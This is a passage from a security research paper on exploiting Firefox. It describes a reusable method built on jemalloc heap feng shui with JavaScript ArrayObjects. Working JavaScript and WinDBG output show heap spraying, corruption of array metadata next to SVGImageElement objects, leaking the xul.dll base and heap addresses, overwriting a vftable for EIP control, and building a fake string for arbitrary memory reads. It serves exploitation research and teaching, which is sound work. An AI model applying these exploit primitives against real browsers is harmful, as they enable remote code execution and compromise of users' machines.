[shadow] (default new length 0x666)
[shadow] Generic commands:
[shadow] version : output version number
[shadow] help : this help message
You can find the latest version of shadow, along with installation
instructions, in the code archive that comes with this paper and also on
GitHub [SHD]. Just a note; I only had time to test everything on Windows
and WinDBG. Linux/GDB support is almost complete (though no support for the
symbol command). I haven't done any work for supporting OS X/LLDB yet. All
contributions are of course welcome ;)
--[ 5 - Exploitation
In the introduction I set the goal of this paper to be a generic, reusable
exploitation methodology that can be applied to as many as possible Firefox
bugs (and bug classes). To be more specific, this high-level goal can be
broken down into the following:
1) Leak of xul.dll's base address. This DLL is the main one for Firefox and
it contains the code of both SpiderMonkey and Gecko (Firefox's layout
engine). This huge DLL contains all the ROP gadgets you may ever want.
2) Leak of the address in Firefox's heap where we have some control due to
the bug we are exploiting. This can be very useful since we can use it to
create fake objects with valid addresses that point to data we control.
3) The ability to read any number of bytes from any address we choose, i.e.
an arbitrary leak.
4) And finally, of course, EIP control (to start a ROP chain, for example).
In order to achieve these we will be using standard JavaScript arrays, i.e.
ArrayObject jsobjects, as primitives. In the past, researchers have used
typed arrays for similar purposes [P2O, REN]. However, as we have seen in
section 2.1, the user-controllable content (data) of typed arrays and their
metadata (like their length and their data pointer) are no longer
contiguous in memory. On the other hand, I have found that ArrayObjects can
be forced to place their metadata next to their data on the jemalloc heap
and have the following helpful characteristics:
1) We can control their size to multiples of 8 bytes, and also have
partial control of their contents, both due to the IEEE-754 64-bit jsval
representation we have seen.
2) We can easily and controllably spray with ArrayObjects from JavaScript.
3) We can move the sprayed ArrayObjects to the jemalloc-managed heap after
we fill the nursery. Since arrays are jsobjects, when they grow bigger they
behave according to the way I have already described in section 2.3.
----[ 5.1 - ArrayObjects inside ArrayObjects
Therefore, we spray ArrayObjects as elements of a container ArrayObject;
when the container becomes large enough, the elements (which are
themselves ArrayObjects) are moved to the jemalloc heap and bring with them
their contents and metadata. At js/src/gc/Marking.cpp we can see this in
the method js::TenuringTracer::moveElementsToTenured() -- excuse the
annotated with comments pseudocode, see the actual source for the full
details:
/*
* nslots here is equal to the capacity of the ArrayObject plus 2
* (ObjectElements::VALUES_PER_HEADER).
*/
size_t nslots = ObjectElements::VALUES_PER_HEADER + srcHeader->capacity;
...
if (src->is<ArrayObject>() && nslots <= GetGCKindSlots(dstKind)) {
/*
* If this is an ArrayObject and nslots is less or equal
* to 16 (GetGCKindSlots(dstKind)) there is no new allocation.
*/
...
return nslots * sizeof(HeapSlot);
}
...
/*
* Otherwise there is a new allocation of size nslots that
* goes on the jemalloc heap, the elements are copied, and the
* elements_ pointer is set.
*/
dstHeader = \
reinterpret_cast<ObjectElements*>(zone->pod_malloc<HeapSlot>(nslots));
js_memcpy(dstHeader, srcHeader, nslots * sizeof(HeapSlot));
nursery().setElementsForwardingPointer(srcHeader, dstHeader, nslots);
Let's revisit again the example from section 2.3 and present it in the
context of moving ArrayObjects and their metadata to the jemalloc heap.
...........................................................................
+-+ +-++-------+ +-----+ :
|T| Temporary |A|| elems | ArrayObject | | Free : jemalloc
| | object | || | + elements | | memory : +-----------+
+-+ +-++-------+ +-----+ : | +-------+ |
....................................................... : | | elems | |
: | | | |
Before minor GC : | +-------+ |
--------------- : | ^ ^ |
var A = new Array(); : | | | |
+----+ : | | | |
| var A[1] = new Array(); // a : | | | |
| + +----------------+ | |
Next free| | ... var A[15] = new Array(); // b | : | | |
+---+ | | + | : | | |
| | | | +---------------------+ : | | |
v v v v | : | | |
+-----------------------+ | +-----------------------+ : | | |
|+-++-++-++-+ +-+ | |+-++-+ | : | | |
||T||T||A||a| ... |b|+-+ ||J||J| | : | | |
|| || || || | elems | | || || | | : | | |
|+-++-++-++-+ +-+ |+-++-+ | : | | |
+-----------------------+ +-----------------------+ : | | |
Nursery + Tenured : | | |
| : | | |
| : | | |
+------------+ : | | |
| : | | |
.....................................|................. : | | |
| : | | |
Next free | After minor GC : | | |
+-----+ | -------------- : +-------|---+
| | : |
v v : |
+-----------------------+ +-----------------------+ : |
| | |+-++-++-+ | : |
| | ||J||J||A|+------------------------------+
| | || || || | | : elements_ pointer
| | |+-++-++-+ | :
+-----------------------+ +-----------------------+ :
Nursery Tenured :
...........................................................................
The above diagram describes what happens to the Firefox heaps when we run
the following JavaScript code. We create a container ArrayObject; this is
initially allocated on the nursery. This is A from above.
var container = new Array();
As we add elements (ArrayObjects) to the container, a minor (nursery)
garbage collection happens. We trigger this by filling the 16 MBs of the
nursery with 66000 ArrayObjects of 30 elements each -- remember each
element is 8 bytes (jsval), but the resulting ArrayObject of size 240 goes
to the 256-sized jemalloc run (there are also the metadata).
// 16777216 / 256 == 65536
var spray_size = 66000;
The container ArrayObject (A) is moved from the nursery to the tenured
heap. If (2 + capacity) >= 17, then each one of the ArrayObject elements of
the container are re-allocated on the jemalloc heap. Since these are
ArrayObjects, they have both contents and some metadata. The container
remains on the tenured heap for the rest of its lifetime.
for(var i = 0; i < spray_size; i++)
{
container[i] = new Array();
for(var j = 0; j < 30; j += 2) // 30 * 8 == 240
{
container[i][j] = 0x45464645;
container[i][j + 1] = 0x47484847;
}
}
The careful reader would notice something here. The condition to move an
object to the jemalloc heap depends on the object's capacity. This sets a
limit to which jemalloc size categories can be used for our purpose, based
on the object's initial capacity. If you dig SpiderMonkey's code you will
find that an ArrayObject with an initlen of 1 (a[0] = "A" for example) has
a capacity of 6. Therefore, to satisfy the moving condition we have to
preclude some of the small jemalloc size categories.
At this point let's use the shadow utility from within WinDBG to search the
jemalloc heap for the content we have sprayed (edited for readability):
0:000> !py c:\\tmp\\pykd_driver jesearch -s 256 -c 45464645
[shadow] searching all current runs of size class 256 for 45464645
[shadow] found 45464645 at 0x141ad110
(run 0x141ad000, region 0x141ad100, region size 0256)
[shadow] found 45464645 at 0x141ad120
(run 0x141ad000, region 0x141ad100, region size 0256)
[shadow] found 45464645 at 0x141ad130
(run 0x141ad000, region 0x141ad100, region size 0256)
0:000> dd 141ad100 l?80
[ Metadata of a sprayed ArrayObject ]
flags initlen capacity length
141ad100 00000000 0000001e 0000001e 0000001e
[ Contents of the same sprayed ArrayObject ]
141ad110 45464645 ffffff81 47484847 ffffff81
141ad120 45464645 ffffff81 47484847 ffffff81
...
141ad1e0 45464645 ffffff81 47484847 ffffff81
141ad1f0 45464645 ffffff81 47484847 ffffff81
[ Metadata of another sprayed ArrayObject]
flags initlen capacity length
141ad200 00000000 0000001e 0000001e 0000001e
[ and its data ]
141ad210 45464645 ffffff81 47484847 ffffff81
141ad220 45464645 ffffff81 47484847 ffffff81
0:000> !py c:\\tmp\\pykd_driver jeinfo 141ad200
[shadow] address 0x141ad200
...
[shadow] run 0x141ad000 is the current run of bin 0x00600608
[shadow] address 0x141ad200 belongs
to region 0x141ad200 (size class 0256)
We can see above that the ArrayObject elements of the container ArrayObject
are indeed on the jemalloc heap and specifically on regions of size 256.
Also, they are contiguous to each other.
----[ 5.2 - jemalloc feng shui
Heap feng shui refers to the manipulation of a heap with the goal of
carefully arranging it (with selected objects) towards aiding exploitation
[FSJ]. Armed with the knowledge of the previous sections, we can now:
1) Move our ArrayObjects off the nursery and onto the jemalloc heap along
with their metadata.
2) Poke holes in the jemalloc runs, and trigger a garbage collection to
actually make these holes reclaimable by subsequent allocations.
3) Reclaim the holes (since jemalloc is LIFO) and create useful heap
arrangements.
Assuming we have a heap overflow vulnerability in a specific-sized DOM
class, we can continue towards implementing our methodology. As an
example, I will use a typical Firefox DOM class that has a vtable and can
be allocated easily from JavaScript. Using shadow we can look for such a
DOM class whose objects have a size of 256 bytes:
0:000> !py c:\\tmp\\pykd_driver symbol
[shadow] usage: symbol [-vjdx] <size>
[shadow] options:
[shadow] -v only class symbols with vtable
[shadow] -j only symbols from SpiderMonkey
[shadow] -d only DOM symbols
[shadow] -x only non-SpiderMonkey symbols
0:000> !py c:\\tmp\\pykd_driver symbol -dv 256
[shadow] searching for DOM class symbols of size 256 with vtable
...
[shadow] 0x100 (256) class mozilla::dom::SVGImageElement (vtable: yes)
Continuing from where we left off in section 5.1, after spraying the
jemalloc heap with ArrayObjects, we free every second allocation to create
holes. We also trigger a garbage collection to make these holes
reclaimable.
for(var i = 0; i < spray_size; i += 2)
{
delete(container[i]);
container[i] = null;
container[i] = undefined;
}
var gc_ret = trigger_gc();
We fill these holes with the example vulnerable object we have identified
above, i.e. mozilla::dom::SVGImageElement. Our assumption is that we have
a controlled (or semi-controlled) heap overflow in some method of this
class. We can trigger it either after the instantiation of each object, or
after the allocation of all objects on a specific one.
for(var i = 0; i < spray_size; i += 2)
{
// SVGImageElement is a 0x100-sized object
container[i] = \
document.createElementNS("http://www.w3.org/2000/svg", "image");
// trigger the overflow bug here in all allocations, e.g.:
// container[i].some_vulnerable_method();
}
// or, trigger the overflow bug here in a specific one, e.g.:
// container[1666].some_vulnerable_method();
Using shadow as before we can search for the controlled sprayed content of
the ArrayObjects and make sure that our heap arrangement has succeeded;
that is we have ArrayObjects and SVGImageElement objects one after the
other contiguously on the jemalloc heap. The jerun command outputs a
textual visualization of the regions of the requested run; their index,
whether allocated (used) or not, address, and a 4-byte preview of the
content.
0:000> !py c:\\tmp\\pykd_driver jerun 0x15b11000
[shadow] searching for run 0x15b11000
[shadow] [run 0x15b11000] [size 016384] [bin 0x00600608]
[region size 0256] [total regions 0063] [free regions 0000]
[shadow] [region 000] [used] [0x15b11100] [0x0]
[shadow] [region 001] [used] [0x15b11200] [0x69e0cf70]
[shadow] [region 002] [used] [0x15b11300] [0x0]
[shadow] [region 003] [used] [0x15b11400] [0x69e0cf70]
...
Above we can see that the region at 15b11100 is the first region of the
run, that it is allocated (used), and that its first 4 bytes are zero,
corresponding to the flags of the ArrayObject. The next region at 15b11200
has a first dword of 69e0cf70, which is SVGImageElement's vftable pointer.
Let's examine in more detail:
0:000> dd 15b11100 l?80
[ Metadata of ArrayObject at region 000 ]
flags initlen capacity length
15b11100 00000000 0000001e 0000001e 0000001e
[ Contents of the ArrayObject ]
15b11110 45464645 ffffff81 47484847 ffffff81
15b11120 45464645 ffffff81 47484847 ffffff81
...
15b111d0 45464645 ffffff81 47484847 ffffff81
15b111e0 45464645 ffffff81 47484847 ffffff81
15b111f0 45464645 ffffff81 47484847 ffffff81
[ SVGImageElement object at region 001 ]
15b11200 69e0cf70 69e0eba0 1a590ea0 00000000
15b11210 11bfc830 00000000 00020008 00000000
15b11220 00000000 00000000 15b11200 00000000
15b11230 00000007 00000000 00090000 00000000
15b11240 69e0d1f4 00000000 00000000 00000000
15b11250 00000000 00000000 69e0bd38 00000000
...
[ The next ArrayObject starts here, region 002]
flags initlen capacity length
15b11300 00000000 0000001e 0000001e 0000001e
15b11310 45464645 ffffff81 47484847 ffffff81
15b11320 45464645 ffffff81 47484847 ffffff81
...
[ The SVGImageElement object at region 003 ]
15b11400 69e0cf70 69e0eba0 1a590ea0 00000000
...
0:000> dds 15b11200
15b11200 69e0cf70 xul!mozilla::dom::SVGImageElement::`vftable'
We have indeed managed to arrange the heap the way we wanted. The next
step is to search for the ArrayObject whose metadata we have corrupted via
the assumed SVGImageElement overflow bug. The following code snippet
assumes that we have overwritten all the metadata (16 bytes) and have used
0x666 as the new value for initlen, capacity and length.
var pwned_index = 0;
for(var i = 0; i < spray_size; i += 2)
{
if(container[i].length > 500)
{
var pwnstr = "[*] corrupted array found at index: " + i;
log(pwnstr);
pwned_index = i;
break;
}
}
Our corrupted ArrayObject now allows us to index the corresponding
JavaScript array beyond its end, and into the neighboring SVGImageElement
object. Since we have sprayed arrays of length 30 (0x1e), we can index into
the first 8 bytes of the SVGImageElement object as a jsval of type double
at index 30 (since at index 29 is the last element of the array).
0:000> dd 15b11300 l?80
[ Corrupted metadata of an ArrayObject ]
flags initlen capacity length
15b11300 00000000 00000666 00000666 00000666
[ index 0 ] [ index 1 ]
15b11310 45464645 ffffff81 47484847 ffffff81
[ index 2 ] [ index 3 ]
15b11320 45464645 ffffff81 47484847 ffffff81
...
15b113c0 45464645 ffffff81 47484847 ffffff81
15b113e0 45464645 ffffff81 47484847 ffffff81
[ index 28 ] [ index 29 ]
15b113f0 45464645 ffffff81 47484847 ffffff81
[ index 30 ] [ index 31 ]
15b11400 69e0cf70 69e0eba0 1a590ea0 00000000
15b11410 11bfc830 00000000 00020008 00000000
[ index 35 ]
15b11420 00000000 00000000 15b11400 00000000
15b11430 00000007 00000000 00090000 00000000
...
15b114e0 e4000201 00000000 00000000 e4010301
15b114f0 06000106 00000001 00000000 e5e50000
0:000> g
[*] corrupted array found at index: 31147
----[ 5.3 - xul.dll base leak and our location in memory
We can read from index 30 above, but remember that because we are using an
array to do so, the two 32-bit values there are going to be treated as a
double jsval (since the one 32-bit value that corresponds to the type of
the 64-bit jsval is less than 0xFFFFFF80). Therefore, we need to implement
two helper functions; one to read the 64-bit value as a double and convert
it to the corresponding raw bytes (named double_to_bytes()), and one to
convert the raw bytes to their hexadecimal representation (named
bytes_to_hex()). Reading from index 30 gives us a vftable pointer of
SVGImageElement and we simply need to subtract from it the known non-ASLRed
pointer from xul.dll.
var val_hex = \
bytes_to_hex(double_to_bytes(container[pwned_index][30]));
var known_xul_addr = 0x121deba0; // 41.0.1 specific
var leaked_xul_addr = parseInt(val_hex[1], 16);
var aslr_offset = leaked_xul_addr - known_xul_addr;
var xul_base = 0x10000000 + aslr_offset;
var val_str = \
"[*] leaked xul.dll base address: 0x" + xul_base.toString(16);
log(val_str);
In the SVGImageElement object at address 15b11428 above, indexed with our
corrupted array at index 35, there is a pointer to the start of the object
itself (15b11400). Such pointers exist in most (if not all, I haven't
checked them all automatically) Firefox DOM objects for garbage collection
purposes. By leaking this address from index 35 of our corrupted array, we
can learn the location of all these objects in the jemalloc heap. This can
be very helpful for creating fake but valid objects (as we will doing in
the sections below).
val_hex = \
bytes_to_hex(double_to_bytes(container[pwned_index][35]));
val_str = "[*] victim SVGImageElement object is at: 0x" + val_hex[0];
log(val_str);
Again we use the two helper functions for reading double jsvals and
c
onverting them to hexadecimal.
In WinDBG the output is (edited for readability):
0:000> g
[*] corrupted array found at index: 31147
[*] leaked xul.dll base address: 0x67c30000
[*] victim SVGImageElement object is at: 0x15b11400
Breakpoint 0 hit
eax=002cf801 ebx=1160b8b0 ecx=00000001 edx=00000002 esi=697f1386
edi=00000000 eip=697f1386 esp=0038cce0 ebp=0038cd6c iopl=0
nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
xul!js::math_asin:
697f1386 push ebp
0:000> lm m xul
start end module name
67c30000 6a162000 xul
Indeed we can verify with WinDBG's lm command that we have leaked the base
of xul.dll correctly. Also we now know the address of our victim
SVGImageElement object. The complete code for this is in file
'svg-leak.html' in the archive.
----[ 5.4 - EIP control
Our corrupted ArrayObject can of course also be used for writing memory. In
order to get EIP control, we can simply overwrite a vftable pointer of the
SVGImageElement object and then call one of its methods. The exact values
we have to add to or subtract from the leaked SVGImageElement object
address depend on the method we are calling (and the version of xul.dll).
var obj_addr = \
parseInt(val_hex[0], 16); // our location in memory, see above
var deref_addr = obj_addr - 0x1f4 + 0x4; // 41.0.1 specific
var target_eip = "41424344";
var write_val_bytes = \
hex_to_bytes(target_eip + deref_addr.toString(16));
var write_val_double = bytes_to_double(write_val_bytes);
container[pwned_index][30] = write_val_double;
log("[*] calling a method of the corrupted SVGImageElement object");
for(var i = 0; i < spray_size; i += 2)
{
container[i].setAttribute("height", "100");
}
Since we don't know the exact index of SVGImageElement object we have
corrupted, we call a method of all the objects we have sprayed.
After we have overwritten SVGImageElement's vftable, in WinDBG the
situation looks like the following:
0:000> dd 15b11300 l?80
[ Corrupted metadata of an ArrayObject ]
flags initlen capacity length
15b11300 00000000 00000666 00000666 00000666
[ index 0 ] [ index 1 ]
15b11310 45464645 ffffff81 47484847 ffffff81
[ index 2 ] [ index 3 ]
15b11320 45464645 ffffff81 47484847 ffffff81
...
15b113c0 45464645 ffffff81 47484847 ffffff81
15b113e0 45464645 ffffff81 47484847 ffffff81
[ index 28 ] [ index 29 ]
15b113f0 45464645 ffffff81 47484847 ffffff81
[ index 30 ] [ index 31 ]
15b11400 15b11210 41424344 1a590ea0 00000000
15b11410 11bfc830 00000000 00020008 00000000
[ index 35 ]
15b11420 00000000 00000000 15b11400 00000000
15b11430 00000007 00000000 00090000 00000000
...
15b114e0 e4000201 00000000 00000000 e4010301
15b114f0 06000106 00000001 00000000 e5e50000
0:000> g
[*] calling a method of the corrupted SVGImageElement object
(1084.a60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=15b11210 ebx=00000001 ecx=15b11400 edx=00000006 esi=1160b8b0
edi=15b11400 eip=41424344 esp=0032d2f0 ebp=0032d520 iopl=0
nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41424344 je 41424346 [br=1]
We have EIP control, know the base of xul.dll, and can place arbitrary
content on the heap at known addresses, therefore it is quite simple at
this point to ROP our way to whatever makes us happy. See the file
'svg-eip-control.html' for the complete code.
----[ 5.5 - Arbitrary memory leak
Although we have achieved total control over the Firefox process, let's
look at something that requires more fine-grained control over the jemalloc
heap. To demonstrate how jemalloc can be manipulated in detail, I will be
describing how we can achieve the ability to read any number of bytes from
any address we choose, i.e. an arbitrary memory leak.
For this purpose I will be using a constructed (i.e. fake) non-inline
string. In order to be able to read back from this fake string, I will
also need to create a fake string-type jsval that points to the fake
non-inline string, and index this jsval via the corrupted ArrayObject. The
problem with this approach is that the corrupted ArrayObject cannot be used
to write a fake string-type jsval (or any other jsval); remember that
there is no IEEE-754 64-bit double that corresponds to a 32-bit encoded
value greater than 0xFFF00000. This is required since in order to create a
fake jsval string we need to write ffffff85 as its tag value (see the
discussion on strings in section 2.1 if you are confused at this point).
So, we need to find another way to construct a fake string-type jsval in
controlled memory. What we can use is the reliability and the LIFO
operation of jemalloc to create a more complex heap arrangement that will
help us solve this problem. Specifically, I will add typed arrays to the
methodology to utilize their fully controlled content. Although, as we have
seen, I cannot place the metadata of a typed array in memory reachable by
user-controlled data, the actual data of a typed array (which are
controlled to byte granularity) can be placed on jemalloc runs.
We start by spraying with ArrayObjects the 256-sized jemalloc runs. Again,
we have to bypass the nursery and move our objects to jemalloc, so the
size of our spray is 16777216 / 256 == 65536 arrays.
var spray_size = 66000;
var container = new Array();
for(var i = 0; i < spray_size; i++)
{
container[i] = new Array();
for(var j = 0; j < 30; j += 2) // 30 * 8 == 240 bytes
{
container[i][j] = 0x45464645;
container[i][j + 1] = 0x47484847;
}
}
This time, instead of creating a hole every other allocation, we create two
holes for every ArrayObject we leave on the jemalloc heap. We also trigger
a GC to make the holes reclaimable.
for(var i = 0; i < spray_size; i += 3)
{
delete(container[i]);
container[i] = null;
container[i] = undefined;
delete(container[i + 1]);
container[i + 1] = null;
container[i + 1] = undefined;
}
var gc_ret = trigger_gc();
Let's assume at this point that we have a breakpoint and look at how the
jemalloc 256-sized runs look like:
0:043> !py c:\tmp\pykd_driver jeruns -s 256
[shadow] listing allocated non-current runs for size class 256
[shadow] [total non-current runs 446]
[shadow] [run 0x0e507000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0000]
...
[shadow] [run 0x11d03000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0042]
[shadow] [run 0x15f09000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0042]
[shadow] [run 0x15f0d000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0042]
[shadow] [run 0x15f11000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0042]
[shadow] [run 0x15f15000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0042]
[shadow] [run 0x15f19000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0042]
...
Looking at one of these runs (in random) with shadow we see:
0:000> !py c:\tmp\pykd_driver jerun 0x15f15000
[shadow] searching for run 0x15f15000
[shadow] [run 0x15f15000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0042]
[shadow] [region 000] [free] [0x15f15100] [0xe5e5e5e5]
[shadow] [region 001] [free] [0x15f15200] [0xe5e5e5e5]
[shadow] [region 002] [used] [0x15f15300] [0x0]
[shadow] [region 003] [free] [0x15f15400] [0xe5e5e5e5]
[shadow] [region 004] [free] [0x15f15500] [0xe5e5e5e5]
[shadow] [region 005] [used] [0x15f15600] [0x0]
[shadow] [region 006] [free] [0x15f15700] [0xe5e5e5e5]
[shadow] [region 007] [free] [0x15f15800] [0xe5e5e5e5]
[shadow] [region 008] [used] [0x15f15900] [0x0]
[shadow] [region 009] [free] [0x15f15a00] [0xe5e5e5e5]
[shadow] [region 010] [free] [0x15f15b00] [0xe5e5e5e5]
...
Our hole punching has worked. Remember that e5e5e5e5 is the value used by
Firefox for the sanitization of freed jemalloc regions. The used regions
with the value 0x0 as their first dword are the ArrayObjects we have left
on the heap.
We now reclaim these holes on the jemalloc heap with one SVGImageElement
object and one Uint32Array typed array after each ArrayObject. We make
sure the content of this typed array is of size 256 bytes so it goes on
the jemalloc run we are targeting. At this point the actual content of the
typed array doesn't matter.
for(var i = 0; i < spray_size; i += 3)
{
container[i] = \
document.createElementNS("http://www.w3.org/2000/svg", "image");
container[i + 1] = new Uint32Array(64);
for(var j = 0; j < 64; j++) // 64 * 4 == 256
{
container[i + 1][j] = 0x51575751;
}
}
Now, the same run from above looks like:
0:000> !py c:\tmp\pykd_driver jerun 0x15f15000
[shadow] searching for run 0x15f15000
[shadow] [run 0x15f15000] [size 016384] [bin 0x00700608]
[region size 0256] [total regions 0063] [free regions 0000]
[shadow] [region 000] [used] [0x15f15100] [0x69e0cf70]
[shadow] [region 001] [used] [0x15f15200] [0x51575751]
[shadow] [region 002] [used] [0x15f15300] [0x0]
[shadow] [region 003] [used] [0x15f15400] [0x69e0cf70]
[shadow] [region 004] [used] [0x15f15500] [0x51575751]
[shadow] [region 005] [used] [0x15f15600] [0x0]
[shadow] [region 006] [used] [0x15f15700] [0x69e0cf70]
[shadow] [region 007] [used] [0x15f15800] [0x51575751]
[shadow] [region 008] [used] [0x15f15900] [0x0]
[shadow] [region 009] [used] [0x15f15a00] [0x69e0cf70]
[shadow] [region 010] [used] [0x15f15b00] [0x51575751]
...
[shadow] [region 014] [used] [0x15f15f00] [0x0]
[shadow] [region 015] [used] [0x15f16000] [0x69e0cf70]
[shadow] [region 016] [used] [0x15f16100] [0x51575751]
0:000> dd 0x15f15f00 l?90
[ ArrayObject ]
15f15f00 00000000 0000001e 0000001e 0000001e
15f15f10 45464645 ffffff81 47484847 ffffff81
15f15f20 45464645 ffffff81 47484847 ffffff81
15f15f30 45464645 ffffff81 47484847 ffffff81
15f15f40 45464645 ffffff81 47484847 ffffff81
15f15f50 45464645 ffffff81 47484847 ffffff81
15f15f60 45464645 ffffff81 47484847 ffffff81
15f15f70 45464645 ffffff81 47484847 ffffff81
15f15f80 45464645 ffffff81 47484847 ffffff81
15f15f90 45464645 ffffff81 47484847 ffffff81
15f15fa0 45464645 ffffff81 47484847 ffffff81
15f15fb0 45464645 ffffff81 47484847 ffffff81
15f15fc0 45464645 ffffff81 47484847 ffffff81
15f15fd0 45464645 ffffff81 47484847 ffffff81
15f15fe0 45464645 ffffff81 47484847 ffffff81
15f15ff0 45464645 ffffff81 47484847 ffffff81
[ SVGImageElement ]
15f16000 69e0cf70 69e0eba0 1652da20 00000000
15f16010 0d863c90 00000000 00020008 00000000
15f16020 00000000 00000000 15f16000 00000000
15f16030 00000007 00000000 00090000 00000000
15f16040 69e0d1f4 00000000 00000000 00000000
15f16050 00000000 00000000 69e0bd38 00000000
15f16060 69f680d4 e5e50000 69f680d4 e5e50000
15f16070 69f680d4 e5e50100 00000000 e5e5e5e5
15f16080 69e0c9d8 69e0c24c 00000000 00000000
15f16090 00000000 00000000 00000000 00000000
15f160a0 00000000 e5e5e5e5 00000000 00000000
15f160b0 00890001 e5000000 00000000 e5e5e5e5
15f160c0 00000000 00000000 e4000001 00000000
15f160d0 00000000 e4010101 00000000 00000000
15f160e0 e4000201 00000000 00000000 e4010301
15f160f0 06000106 00000001 00000000 e5e50000
[ Uint32Array contents ]
15f16100 51575751 51575751 51575751 51575751
15f16110 51575751 51575751 51575751 51575751
15f16120 51575751 51575751 51575751 51575751
15f16130 51575751 51575751 51575751 51575751
...
We have managed to create the arrangement we require; we have one
ArrayObject (with its metadata and jsval contents), followed by an
SVGImageElement object, followed by the contents of a Uint32Array. If we
look at some other runs (of our targeted size, 256) we may see that in some
of them the arrangement has not succeeded. That is the ArrayObject is
followed by a Uint32Array, which is then followed by an SVGImageElement
object. This happens sometimes, but it doesn't really affect us. As long
as there is one run on which our arrangement has worked, our methodology
can be applied. Below I will explain why some runs with incorrect
arrangement do not pose a problem; just keep it in mind in case you have
seen it with shadow and you are wondering.
Next we proceed with triggering our assumed heap overflow bug in an
SVGImageElement method. This allows us to overwrite data from the
SVGImageElement object onto the ArrayObject we placed after it (and of
course the in-between Uint32Array in this case). We then locate the pwned
ArrayObject as we did in section 5.2, and use it to leak our location in
memory as we did in 5.3 (see file 'arbitrary-leak.html' in the archive for
the complete code). We can now focus on transforming our relative leak to
an arbitrary leak.
Since we know the address of the SVGImageElement object, we can calculate
the address of the neighboring Uint32Array; it is 0x100 bytes after it. We
can then create our fake string-type jsval at the beginning of every
Uint32Array we have sprayed. This fake jsval will point 0x10 bytes after
the start of the Uint32Array. There we will create a fake non-inline string
with the arbitrary address we want to leak from. The JavaScript code for
all these is the following:
// this is the leaked address of the SVGImageElement object
var obj_addr = parseInt(val_hex[0], 16);
// where we will place our fake non-inline string
var fake_jsstring_addr = obj_addr + 0x110;
// create a fake string-type jsval at the start
// of each sprayed Uint32Array object
for(var i = 0; i < spray_size; i += 3)
{
container[i + 1][0] = fake_jsstring_addr;
container[i + 1][1] = 0xffffff85;
}
// at obj_addr + 0x110, which corresponds to [64] and [65],
// we create a fake non-inline string
var read_len = "00000002"; // fake string size
write_val_bytes = hex_to_bytes(read_len + "00000049");
write_val_double = bytes_to_double(write_val_bytes);
container[pwned_index][64] = write_val_double;
// we use the base of xul.dll as the arbitrary address to
// read from, since we know that the first two bytes there
// are "MZ" in ASCII
var read_addr = xul_base.toString(16);
write_val_bytes = hex_to_bytes("00000000" + read_addr);
write_val_double = bytes_to_double(write_val_bytes);
container[pwned_index][65] = write_val_double;
// let's read from our fake string, it is at index [62]
var leaked = "[*] leaked: " + container[pwned_index][62];
log(leaked);
The actual objects in memory after the execution of the above code are:
0:000> dd 0x15f15f00 l?90
[ Our corrupted ArrayObject ]
15f15f00 00000000 00000666 00000666 00000666
15f15f10 45464645 ffffff81 47484847 ffffff81
15f15f20 45464645 ffffff81 47484847 ffffff81
15f15f30 45464645 ffffff81 47484847 ffffff81
15f15f40 45464645 ffffff81 47484847 ffffff81
15f15f50 45464645 ffffff81 47484847 ffffff81
15f15f60 45464645 ffffff81 47484847 ffffff81
15f15f70 45464645 ffffff81 47484847 ffffff81
15f15f80 45464645 ffffff81 47484847 ffffff81
15f15f90 45464645 ffffff81 47484847 ffffff81
15f15fa0 45464645 ffffff81 47484847 ffffff81
15f15fb0 45464645 ffffff81 47484847 ffffff81
15f15fc0 45464645 ffffff81 47484847 ffffff81
15f15fd0 45464645 ffffff81 47484847 ffffff81
15f15fe0 45464645 ffffff81 47484847 ffffff81
15f15ff0 45464645 ffffff81 47484847 ffffff81
[ Our SVGImageElement object ]
15f16000 69e0cf70 69e0eba0 1652da20 00000000
15f16010 0d863c90 00000000 00020008 00000000
15f16020 00000000 00000000 15f16000 00000000
15f16030 00000007 00000000 00090000 00000000
15f16040 69e0d1f4 00000000 00000000 00000000
15f16050 00000000 00000000 69e0bd38 00000000
15f16060 69f680d4 e5e50000 69f680d4 e5e50000
15f16070 69f680d4 e5e50100 00000000 e5e5e5e5
15f16080 69e0c9d8 69e0c24c 00000000 00000000
15f16090 00000000 00000000 00000000 00000000
15f160a0 00000000 e5e5e5e5 00000000 00000000
15f160b0 00890001 e5000000 00000000 e5e5e5e5
15f160c0 00000000 00000000 e4000001 00000000
15f160d0 00000000 e4010101 00000000 00000000
15f160e0 e4000201 00000000 00000000 e4010301
15f160f0 06000106 00000001 00000000 e5e50000
[ The contents of our Uint32Array ]
[ string jsval ]
15f16100 15f16110 ffffff85 51575751 51575751
[ fake non-inline string ]
[ size ] [ addr ]
15f16110 00000049 00000002 67c30000 00000000
15f16120 51575751 51575751 51575751 51575751
15f16130 51575751 51575751 51575751 51575751
The output in WinDBG is:
[*] corrupted array found at index: 25649
[*] leaked xul.dll base address: 0x67c30000
[*] victim SVGImageElement object is at: 0x15f16000
[*] leaked: MZ
Since we used the address of the base of xul.dll (we previously leakd) as
the arbitrary address to leak from, we get back "MZ" as we expected. At
this point it should be clear why it doesn't matter if the heap
arrangement didn't succeed in some jemalloc runs. We can keep trying to
leak via our fake string jsvals that we placed in the beginning of all
sprayed Uint32Arrays. We will only get back the expected "MZ" value from a
jsval on a run that the heap arrangement succeeded. On runs that the
arrangement didn't work (that is the Uint32Array is before the
SVGImageElement object), trying to access index 62 (where we expect our
fake string jsval to be) would simply return a double due to the two
dwords there being interpreted as an IEEE-754 jsval without a tag. This
doesn't attempt to do dereference anything, therefore no crash can happen.
When we finally get back the "MZ" value, we can re-use our fake string
jsval to leak from whatever address we want.
// now we can re-use the fake string-type jsval
// to leak from another location
read_addr = "cafebabe"; // crash to demonstrate
write_val_bytes = hex_to_bytes("00000000" + read_addr);
write_val_double = bytes_to_double(write_val_bytes);
container[pwned_index][65] = write_val_double;
leaked = "[*] leaked: " + container[pwned_index][62];
log(leaked);
